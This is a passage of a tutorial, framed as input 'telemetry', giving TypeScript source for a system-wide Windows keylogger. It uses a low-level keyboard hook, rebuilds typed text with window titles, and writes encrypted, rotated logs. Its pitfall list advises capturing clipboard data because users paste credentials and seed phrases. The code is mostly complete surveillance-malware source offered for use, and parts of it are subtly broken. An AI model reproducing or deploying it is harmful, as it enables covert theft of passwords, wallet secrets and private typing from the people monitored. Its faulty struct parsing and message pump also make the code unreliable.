table buffer with an explicit cursor index, applying deltas based on event type.
Step 1: Native Bridge & Hook Registration
We define the required user32.dll exports and establish the hook callback. The callback signature must match the Windows HOOKPROC type exactly.
import koffi from 'koffi';
import { EventEmitter } from 'events';
const user32 = koffi.load('user32.dll');
// Windows API type definitions
const HHOOK = koffi.pointer('void');
const LPARAM = koffi.int64;
const WPARAM = koffi.int64;
const LRESULT = koffi.int64;
// Hook callback signature: (code: int, wParam: WPARAM, lParam: LPARAM) => LRESULT
const HookCallback = koffi.proto('LRESULT __stdcall KbdHookProc(int, WPARAM, LPARAM)');
export class InputHookManager extends EventEmitter {
private hookHandle: koffi.KoffiPointer | null = null;
private callbackRef: koffi.KoffiFunction | null = null;
constructor() {
super();
}
public install(): void {
// Prevent duplicate installation
if (this.hookHandle) return;
// Create managed callback to prevent GC collection
this.callbackRef = koffi.register(this.handleNativeEvent.bind(this), HookCallback);
// SetWindowsHookExA(WH_KEYBOARD_LL = 13, lpfn, hMod, dwThreadId)
const SetWindowsHookExA = user32.func('SetWindowsHookExA', 'pointer', ['int', 'pointer', 'pointer', 'uint32']);
this.hookHandle = SetWindowsHookExA(13, this.callbackRef, null, 0) as koffi.KoffiPointer;
if (!this.hookHandle) {
throw new Error('Failed to install low-level keyboard hook');
}
// Pump message loop to keep hook active
this.startMessagePump();
}
private handleNativeEvent(code: number, wParam: number, lParam: number): number {
if (code < 0) {
return this.callNextHookEx(wParam, lParam);
}
// Parse KBDLLHOOKSTRUCT from lParam
const event = this.parseKbdStruct(lParam);
if (event) {
this.emit('keystroke', event);
}
return this.callNextHookEx(wParam, lParam);
}
private callNextHookEx(wParam: number, lParam: number): number {
const CallNextHookEx = user32.func('CallNextHookEx', 'pointer', ['pointer', 'int', 'pointer', 'pointer']);
return CallNextHookEx(this.hookHandle, 0, wParam, lParam) as number;
}
private parseKbdStruct(lParam: number): { vkCode: number; scanCode: number; flags: number; time: number } | null {
// KBDLLHOOKSTRUCT layout: vkCode(4), scanCode(4), flags(4), time(4), dwExtraInfo(8)
const buf = koffi.alloc(lParam, 24);
return {
vkCode: koffi.read(buf, 0, 'int32'),
scanCode: koffi.read(buf, 4, 'int32'),
flags: koffi.read(buf, 8, 'int32'),
time: koffi.read(buf, 12, 'uint32')
};
}
private startMessagePump(): void {
const GetMessageA = user32.func('GetMessageA', 'bool', ['pointer', 'pointer', 'uint32', 'uint32']);
const msg = koffi.alloc(28); // MSG structure size
const pump = () => {
if (!this.hookHandle) return;
GetMessageA(msg, null, 0, 0);
setImmediate(pump);
};
pump();
}
public uninstall(): void {
if (this.hookHandle) {
const UnhookWindowsHookEx = user32.func('UnhookWindowsHookEx', 'bool', ['pointer']);
UnhookWindowsHookEx(this.hookHandle);
this.hookHandle = null;
this.callbackRef = null;
}
}
}
Step 2: VK Translation Engine
Virtual key codes map to physical switch positions. Converting them to readable output requires tracking modifier state and applying layout-aware rules.
export class VkTranslator {
private shiftActive = false;
private ctrlActive = false;
private altActive = false;
private capsLock = false;
private readonly shiftedMap: Record<number, string> = {
0x30: ')', 0x31: '!', 0x32: '@', 0x33: '#', 0x34: '$',
0x35: '%', 0x36: '^', 0x37: '&', 0x38: '*', 0x39: '(',
0xBD: '_', 0xBB: '+', 0xDC: '|', 0xDE: '"', 0xDB: '{',
0xDD: '}', 0xBA: ':', 0xBF: '?', 0xBC: '<', 0xBE: '>',
0xBF: '/'
};
public updateModifierState(vkCode: number, isKeyDown: boolean): void {
switch (vkCode) {
case 0x10: this.shiftActive = isKeyDown; break;
case 0x11: this.ctrlActive = isKeyDown; break;
case 0x12: this.altActive = isKeyDown; break;
case 0x14: if (isKeyDown) this.capsLock = !this.capsLock; break;
}
}
public translate(vkCode: number): string | null {
// Control characters
if (this.ctrlActive || this.altActive) return null;
// Letters
if (vkCode >= 0x41 && vkCode <= 0x5A) {
const isUpper = this.shiftActive !== this.capsLock;
return String.fromCharCode(isUpper ? vkCode : vkCode + 32);
}
// Numbers & Symbols
if (vkCode >= 0x30 && vkCode <= 0x39) {
return this.shiftActive ? this.shiftedMap[vkCode] : String.fromCharCode(vkCode);
}
// Whitespace & Navigation
if (vkCode === 0x20) return ' ';
if (vkCode === 0x0D) return '\n';
if (vkCode === 0x09) return '\t';
// Extended symbols
if (this.shiftedMap[vkCode]) return this.shiftedMap[vkCode];
return null;
}
public reset(): void {
this.shiftActive = false;
this.ctrlActive = false;
this.altActive = false;
}
}
Step 3: Session Reconstruction Stream
Raw keystrokes lack context. A reconstruction engine must handle cursor movement, deletion, and paste injection to produce coherent text logs.
import { Readable } from 'stream';
interface TelemetryEvent {
vkCode: number;
scanCode: number;
flags: number;
timestamp: number;
windowTitle?: string;
}
export class SessionReconstructor extends Readable {
private buffer: string[] = [];
private cursorIndex: number = 0;
private translator: VkTranslator;
private lastEventTime: number = 0;
constructor() {
super({ objectMode: true });
this.translator = new VkTranslator();
}
public pushEvent(event: TelemetryEvent): void {
const isKeyDown = (event.flags & 0x80) === 0; // LLKHF_UP flag check
const vk = event.vkCode;
// Update modifier state on key down
if (isKeyDown) {
this.translator.updateModifierState(vk, true);
} else {
this.translator.updateModifierState(vk, false);
}
// Handle navigation & editing
if (vk === 0x08) { // Backspace
if (this.cursorIndex > 0) {
this.buffer.splice(this.cursorIndex - 1, 1);
this.cursorIndex--;
}
} else if (vk === 0x2E) { // Delete
if (this.cursorIndex < this.buffer.length) {
this.buffer.splice(this.cursorIndex, 1);
}
} else if (vk === 0x25) { // Left Arrow
this.cursorIndex = Math.max(0, this.cursorIndex - 1);
} else if (vk === 0x27) { // Right Arrow
this.cursorIndex = Math.min(this.buffer.length, this.cursorIndex + 1);
} else if (vk === 0x23) { // End
this.cursorIndex = this.buffer.length;
} else if (vk === 0x24) { // Home
this.cursorIndex = 0;
} else if (isKeyDown) {
const char = this.translator.translate(vk);
if (char !== null) {
this.buffer.splice(this.cursorIndex, 0, char);
this.cursorIndex++;
}
}
// Emit reconstructed snapshot periodically or on newline
if (vk === 0x0D || (Date.now() - this.lastEventTime > 2000)) {
this.push({
text: this.buffer.join(''),
cursor: this.cursorIndex,
timestamp: event.timestamp,
window: event.windowTitle
});
this.lastEventTime = Date.now();
}
}
_read(): void {
// Backpressure handled by stream internals
}
}
Pitfall Guide
1. Event Loop Starvation via Synchronous FFI Callbacks
Explanation: Windows hook callbacks execute synchronously. Performing heavy string manipulation, file I/O, or network calls inside the callback blocks the OS message queue, causing input lag or system instability.
Fix: Offload all processing to a bounded async queue or worker thread. Emit events immediately and process them in the Node.js event loop.
2. Hook Chain Breakage
Explanation: Failing to call CallNextHookEx after processing an event severs the hook chain. Other applications (including accessibility tools and security software) will stop receiving input, triggering OS-level warnings or crashes.
Fix: Always invoke CallNextHookEx as the final step in your callback, regardless of whether you consumed the event.
3. Cursor Position Drift
Explanation: Assuming linear input leads to corrupted logs when users navigate with arrow keys, click to reposition the cursor, or use Ctrl+A + Delete.
Fix: Maintain an explicit cursor index. Track WM_KEYDOWN vs WM_KEYUP for navigation keys, and reset the buffer when focus changes or clipboard paste events occur.
4. FFI Callback Garbage Collection
Explanation: JavaScript's garbage collector may reclaim callback functions if they aren't strongly referenced. Windows will then invoke a dangling pointer, causing access violations.
Fix: Store the registered callback in a class property or module-level variable. koffi.register() returns a managed handle that must be retained for the hook's lifetime.
5. Dead Key & IME Blind Spots
Explanation: VK codes represent physical switches, not composed characters. Dead keys (e.g., ^ + e = ê) and Input Method Editors (IME) for CJK languages will produce fragmented or missing output.
Fix: For production telemetry, integrate ToUnicodeEx or GetKeyboardLayout APIs to resolve composed characters. Alternatively, log raw VK sequences and post-process with layout-aware dictionaries.
6. Clipboard Context Loss
Explanation: Users frequently paste credentials, seed phrases, or code snippets. Keystroke logs alone will miss this data entirely.
Fix: Pair the hook with AddClipboardFormatListener to capture clipboard snapshots. Correlate paste events with keystroke timestamps to inject [CLIPBOARD] markers into the reconstruction stream.
7. Timestamp Misalignment
Explanation: High-frequency hook events can outpace Date.now() resolution, causing duplicate or out-of-order timestamps in logs.
Fix: Use GetTickCount64 or performance.now() for microsecond precision. Normalize timestamps against a monotonic clock before writing to persistent storage.
Production Bundle
Action Checklist
Decision Matrix
| Scenario | Recommended Approach | Why | Cost Impact |
|---|
| EDR/Security Agent | Low-Level Hook + Async Stream | System-wide visibility, low overhead, audit-ready | Low (user-mode only, no driver signing) |
| Desktop App Analytics | Raw Input API | Scoped to target process, respects user privacy | Medium (requires per-app registration) |
| Lightweight Audit Tool | Polling (GetAsyncKeyState) | Simplest implementation, no FFI required | High (CPU waste, misses rapid input) |
| Compliance Logging | Hook + Clipboard + Window Focus | Captures paste context and target application | Low-Medium (adds minor IPC overhead) |
Configuration Template
{
"telemetry": {
"hook": {
"type": "WH_KEYBOARD_LL",
"scope": "system-wide",
"forwardToChain": true
},
"translation": {
"layout": "US-International",
"resolveDeadKeys": false,
"trackModifiers": true
},
"reconstruction": {
"cursorAware": true,
"maxBufferLength": 8192,
"emitOnNewline": true,
"idleTimeoutMs": 2000
},
"context": {
"clipboardMonitoring": true,
"windowFocusTracking": true,
"screenshotIntervalMs": 0
},
"output": {
"format": "jsonl",
"encryption": "AES-256-GCM",
"rotation": {
"maxSizeMB": 50,
"maxFiles": 10
}
}
}
}
Quick Start Guide
- Initialize Project: Run
npm init -y && npm install koffi typescript @types/node. Configure tsconfig.json with module: commonjs and target: es2020.
- Create Hook Manager: Copy the
InputHookManager class into src/hook.ts. Ensure koffi.load('user32.dll') resolves correctly on your target Windows environment.
- Wire Stream Pipeline: Instantiate
InputHookManager and SessionReconstructor. Pipe keystroke events through the reconstructor and write output to a file using fs.createWriteStream.
- Run & Verify: Execute with
node --enable-source-maps dist/index.js. Open a text editor and type. Verify that output.jsonl contains structured snapshots with accurate cursor positions and newline delimiters.
- Graceful Shutdown: Attach
process.on('SIGINT', () => manager.uninstall()) to ensure hook cleanup and prevent orphaned system hooks.